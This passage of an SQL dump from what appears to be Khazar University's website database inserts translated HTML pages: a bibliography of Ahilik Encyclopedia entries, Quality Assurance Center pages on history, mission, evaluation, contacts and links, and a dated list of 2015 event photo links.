margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Kassab”. C.1. s.432-</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Kefşduzan”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Selmanian”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i Seyyid”</strong>. C.1.\r\ns.433-434.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i Seyyid Ezzi\r\nMervi”</strong>. C.1. s.434.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i&nbsp; Tabbahan”</strong>. C.1. s.434.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(692,484,'en','HIstory','History','<p>&nbsp;Khazar University established the Academic Quality Assurance Center in November 1999.&nbsp; The Tempus Tacis Compact Project 1999-2001 “Quality Assurance Centre Development at Khazar University” was implemented in cooperation with Nottingham Trent University (UK) and Haarlem University (Netherlands).</p><p>In 2008 Tempus project “Designing Quality Assurance Systems in Azerbaijani Universities” enhanced the Quality Assurance Center at Khazar University by establishing Centers for Quality Assurance at Baku State University and State University of Languages.</p><p>Intensive cooperation with the University of Winchester (UK) Carlos III University (Spain) and the University of Warsaw (Poland) resulted in Azerbaijani training, supervision and expert support in quality assurance.</p><p>Other universities continue to share quality techniques and procedures with Khazar\'s faculty and staff. (University of California/Los Angeles, Princeton University, Harvard University)</p>'),(693,485,'en','Mission','Mission','<p><strong>Quality Assurance System Aims at Khazar University:</strong></p><br><ul><li>Improve instructional and research quality;Promote renovation and building of learning facilities and resources;</li><li>Promote renovation and building of learning facilities and resources;</li><li>Raise administrative levels of higher education institutions;</li><li>Form assessment systems at various levels.</li></ul><br><p><strong>Quality indicators are:</strong></p><p>1.Education, syllabus and curriculum  </p><p>2.Students and student support system  </p><p>3.Research and teaching activities  </p><p>4.Education policy. (serious teaching environment)  </p><p>5.Material-technical resources (buildings, rooms, labs, cafeteria, etc)  </p><p>6.Library  </p><p>7.Development and action plans of the higher education institution</p>\r\n<p><strong></strong><strong>The Quality Assurance System at Khazar University covers 2 aspects:</strong></p><p>1.&nbsp;<strong>Academic quality</strong>: quality of teaching and learning, and quality of curriculum.</p><p>1.&nbsp;<strong>Quality of infrastructure:&nbsp;</strong>facilities, equipment.</p><p>The Quality Assurance Center, supported by appropriately trained staff, enhances the processes of academic quality assurance in three areas :</p><ul><li>Curricula Validation and Review;</li><li>Student Learning, Teaching and Assessment;</li><li>Staff Development and Appraisal.</li></ul><p>This enables Khazar University to be established and recognized by academic standards within the European Union and beyond.</p>'),(694,486,'en','Internal Quality Assurance','Internal Quality Assurance','<p>Khazar University regularly conducts internal evaluation with active participation of students, and results of the evaluation are analyzed by each department and school.&nbsp;</p>'),(695,487,'en','Internal expert evaluation','Internal expert evaluation','<ul><li>Regular self-evaluation (a complex analysis) in all aspects of university activity; monitoring of progress in the major university fields;</li><li>Regular systematic monitoring of educational programs, curricula and working programs in university disciplines with a view to updating them;</li><li>Feasibility Analysis of current educational programs and quality assurance in specialists’ training;</li><li>Systematic SWOT-analysis and internal audit of the educational process;</li><li>Monitoring of quality and quantity indicators in education process.</li></ul>'),(696,488,'en','External expert evaluation','External expert evaluation','<p>Expert evaluation carried out by the Ministry of Education experts (complex analysis of the university activities)</p><p>Expert evaluation carried out by the external foreign experts (independent audit, program evaluation within the frameworks of the international projects, etc.)</p>'),(697,489,'en','Quality Control and Quality Management','Quality Control and Quality Management','<p>Quality control and quality management are intended to support Khazar University in developing its own rigorous framework concerning admissions, program design, approval and review, teaching and learning processes, student support, communication and representation, assessment and external examining, and staffing.</p><div><br></div>'),(698,490,'en','University Management of Quality Assurance','University Management of Quality Assurance','<p><strong>Academic Council of the University</strong><strong>&nbsp;</strong>(Board of Directors and Trustees, Rector’s office, Deans, representatives of faculties and administrative departments, students) –&nbsp;general strategy of educational process, decision-making in terms of new fields of study, curriculum development and quality assurance</p><p><strong>Academic studies department</strong><strong>&nbsp;</strong>–&nbsp;Work out, analyze and approve of the curricula (updated every year), analysis of the educational programs implementation, their contents; Provide for and monitor the methodological support to the teaching process; Monitor teaching process;</p><p><strong>Quality Assurance Center</strong><strong>&nbsp;</strong>–&nbsp;monitor educational activities; conduct internal audit; survey students and staff; recommend prospective fields of study; labor market analysis, etc.</p>'),(699,491,'en','Contact us','Contact us','<p>Lyudmila Sotova, Director</p><p>Email:&nbsp;<a href=\"mailto:lsotova@khazar.org\" target=\"_blank\">lsotova@khazar.org</a><strong>&nbsp;</strong></p><p>Khazar University (Neftchilar Campus)</p><p>41&nbsp;Mehseti Str. AZ 1096</p><p>Baku,Azerbaijan</p><p>Tel:&nbsp;<a href=\"tel:%2B99412%204211093\" target=\"_blank\">+99412 4211093</a>&nbsp; (ext. 211)</p><p>Fax:&nbsp;<a href=\"tel:%2B99412%204989379\" target=\"_blank\">+99412 4989379</a></p>'),(700,492,'en','Useful Links','Useful Links','<p><strong>Please click on the links below for useful information related to quality assurance.</strong></p><p><a href=\"http://www.ehea.info/\">The European Higher Education Area</a></p><p><a href=\"http://www.enqa.eu/\">The European Association for&nbsp;Quality Assurance&nbsp;in&nbsp;Higher Education&nbsp;</a></p><p><a href=\"http://www.inqaahe.org/\">The International Network for Quality Assurance Agencies in Higher Education&nbsp;</a></p><p><a href=\"https://www.eqar.eu/\">European Quality Assurance Register for Higher Education</a></p><p><a href=\"http://www.nqai.ie/documents/bolognasummary.pdf\">Qualifications Framework of the European Higher Education Area</a></p><p><a href=\"http://core-project.eu/documents/Tuning%20G%20Formulating%20Degree%20PR4.pdf\">A Tuning Guide to Formulating Degree Programme Profiles</a></p><p><a href=\"http://www.enqa.eu/wp-content/uploads/2013/06/ESG_3edition-2.pdf\">Standards and Guidelines for Quality Assurance in the European Higher Education Area</a></p><p><a href=\"http://ec.europa.eu/education/policy/higher-education/doc/quality_en.pdf\">Report on Progress in Quality Assurance in Higher Education</a></p><p><a href=\"http://www.eua.be/pubs/examining_quality_culture_part_1.pdf\">Examining Quality Culture: Part 1 – Quality Assurance Processes in Higher Education Institutions</a></p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (701,494,'en','Photos','Photos','<div><br></div><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.01.2016: Examinations at Khazar - (</span><a href=\"https://www.facebook.com/media/set/?set=a.1141042399239497.1073742194.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Photos</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">19.01.2016: Public Opinion Survey Presentation - (</span><a href=\"https://www.facebook.com/media/set/?set=a.1139519549391782.1073742191.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Photos</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.01.2016: Meeting with US Embassy Representatives - (</span><a href=\"https://www.facebook.com/media/set/?set=a.1132990983377972.1073742170.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Photos</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.12.2015: Holiday Celebration at Khazar - (</span><a href=\"https://www.facebook.com/media/set/?set=a.1131280613549009.1073742166.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Photos</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></span><a title=\"Holiday Celebration at Khazar\" href=\"http://www.khazar.org/news/2015/Holiday-Celebration-at-Khazar_7464.html\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">26.12.2015&nbsp;Potentional directors 3&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1126669697343434.1073742161.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">24.12.2015 2nd National Spaghetti Bridge Competition Held (</span><a href=\"https://www.facebook.com/media/set/?set=a.1123858760957861.1073742160.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">24.12.2015&nbsp;Potentional directors 3&nbsp;&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1123837667626637.1073742159.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.12.2015 SOCAR Meeting with Students(</span><a href=\"https://www.facebook.com/media/set/?set=a.1123242247686179.1073742157.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.12.2015 Presentation on Formula 1 European Grand Prix Competition&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1123174931026244.1073742155.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.12.2015 Round-table discussion on the Legal Status of the Caspian Sea and simulation of the Final Meeting of the Working Group for development of the Convention(</span><a href=\"https://www.facebook.com/media/set/?set=a.1122655324411538.1073742153.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">19.12.2015 Masterclass on Sociological Investigation for Youth&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1122113564465714.1073742149.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">18.12.2015 First Robotics Competition at Khazar University(</span><a href=\"https://www.facebook.com/media/set/?set=a.1122055187804885.1073742146.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">18.12.2015 Meeting with University of Pennsylvania’s Lara Fabian(</span><a href=\"https://www.facebook.com/media/set/?set=a.1120462537964150.1073742145.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">17.12.2015 Meeting with Turkologist Akbar Najaf at Department of History and Archeology&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1119950401348697.1073742141.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">17.12.2015 Erasmus (</span><a href=\"https://www.facebook.com/media/set/?set=a.1119868758023528.1073742140.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">15.12.2015 European Commission Education, Audiovisual and Culture Executive Agency (EACEA) holds Monitoring at Khazar University&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1118812348129169.1073742139.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">12.12.2015 Meeting with Film Director Nazim Rza Israfiloghlu(</span><a href=\"https://www.facebook.com/media/set/?set=a.1118294254847645.1073742138.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">11.12.2015 Tempus PACT (</span><a href=\"https://www.facebook.com/media/set/?set=a.1116582698352134.1073742137.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">10.12.2015 Finnish Ambassador Visits Khazar University&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">10.12.2015 Microsoft certificates of qualification and selection of ICT (</span><a href=\"https://www.facebook.com/media/set/?set=a.1115999835077087.1073742134.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">09.12.2015 The graduation ceremony of the School of Project Management (</span><a href=\"https://www.facebook.com/media/set/?set=a.1115995228410881.1073742133.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">09.12.2015 H.Isaxanli about the story Bilqames (</span><a href=\"https://www.facebook.com/media/set/?set=a.1115588331784904.1073742132.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)04.12.2015 Accessible education, accessible to future (</span><a href=\"https://www.facebook.com/media/set/?set=a.1113599041983833.1073742131.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">04.12.2015 Karaoke party (</span><a href=\"https://www.facebook.com/media/set/?set=a.1113139442029793.1073742130.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">03.12.2015 Robotic workshop (</span><a href=\"https://www.facebook.com/media/set/?set=a.1113026172041120.1073742129.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">03.12.2015 International Day of Disabled Persons (</span><a href=\"https://www.facebook.com/media/set/?set=a.1113023172041420.1073742128.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">02.12.2015 \"Digital Solitions for Startup and Entrepreneurs\" (</span><a href=\"https://www.facebook.com/media/set/?set=a.1112132495463821.1073742127.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">02.12.2015&nbsp;Information&nbsp;on&nbsp;BP.&nbsp;\"What&nbsp;you will&nbsp;discover\"&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1112131568797247.1073742126.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">01.12.2015 Employee of the company StrikePlagiarism in Khazar&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1111620542181683.1073742125.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">01.12.2015 Burcu Gultekin Ankara representative of the political center (</span><a href=\"https://www.facebook.com/media/set/?set=a.1111592702184467.1073742124.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.11.2015&nbsp;Alibaba&nbsp;Abdullayev&nbsp;100&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1111574922186245.1073742123.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.11.2015&nbsp;High&nbsp;school&nbsp;is a&nbsp;step in&nbsp;the enterprise(</span><a href=\"https://www.facebook.com/media/set/?set=a.1111133388897065.1073742122.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">28.11.2015 Heritage, Department of Education (</span><a href=\"https://www.facebook.com/media/set/?set=a.1111074102236327.1073742121.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">26.11.2015&nbsp;Endre&nbsp;Ivarrud&nbsp;Petroleum Engineering&nbsp;seminar&nbsp;for students(</span><a href=\"https://www.facebook.com/media/set/?set=a.1109705732373164.1073742120.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">27.11.2015 Emotional and lies seminar (</span><a href=\"https://www.facebook.com/media/set/?set=a.1109686432375094.1073742119.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)24.11.2015 Korean&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1109659382377799.1073742118.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">27.11.2015 ESFIDIP (</span><a href=\"https://www.facebook.com/media/set/?set=a.1109656652378072.1073742117.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">26.11.2015 Methodological seminar on the draft ISSICEU(</span><a href=\"https://www.facebook.com/media/set/?set=a.1109065645770506.1073742116.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">24.11.2015&nbsp;Chinese culture pearls&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1107734719236932.1073742113.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">25.11.2015 Head of office of the Estonian Embassy in Baku (</span><a href=\"https://www.facebook.com/media/set/?set=a.1108614419148962.1073742114.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.11.2015 P&amp;G orientation day (</span><a href=\"https://www.facebook.com/media/set/?set=a.1107734719236932.1073742113.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.11.2015 Entrance examination to Doctorate&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1107667995910271.1073742112.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.11.2015 Media training (</span><a href=\"https://www.facebook.com/media/set/?set=a.1107207015956369.1073742111.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-&nbsp;Foreign languages&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107196855957385.1073742110.799143400096067&amp;type=3\">FOTO</a>)<br><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-Natural Sciences (<a href=\"https://www.facebook.com/media/set/?set=a.1107196282624109.1073742109.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-&nbsp;Social Sicences (<a href=\"https://www.facebook.com/media/set/?set=a.1107195672624170.1073742108.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;- Math and İnformatics&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107195105957560.1073742107.799143400096067&amp;type=3\">FOTO</a>)</p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">14.11.2015&nbsp;Training course on preparation and evaluation of textbooks&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1103440156333055.1073742082.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">13.11.2015 Training course on preparation and evaluation of textbooks&nbsp;- Opening (</span><a href=\"https://www.facebook.com/media/set/?set=a.1103435856333485.1073742081.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">20.11.2015 Theory of&nbsp;ray gravitation(</span><a href=\"https://www.facebook.com/media/set/?set=a.1106328189377585.1073742105.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">16.11.2015 Azarsun (</span><a href=\"https://www.facebook.com/media/set/?set=a.1104832806193790.1073742094.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)16.11.2015 Gabrielle Stravelli (</span><a href=\"https://www.facebook.com/media/set/?set=a.1104825756194495.1073742088.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102104336466637.1073742072.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Huseyn saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102117356465335.1073742080.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Vadjah saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102115966465474.1073742079.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Sevinc saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102114603132277.1073742078.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Sabina saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102114089798995.1073742077.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102112606465810.1073742076.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Nigar saw it&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1102110919799312.1073742075.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Ismat saw it&nbsp;(</span><a 